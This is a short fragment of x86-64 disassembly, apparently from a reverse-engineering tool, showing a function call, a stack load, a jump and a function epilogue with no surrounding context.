mov cl, 1
call fcn.140011212
mov eax, dword [rsp + 0x28]
jmp 0x140016fe1
add rsp, 0x68
ret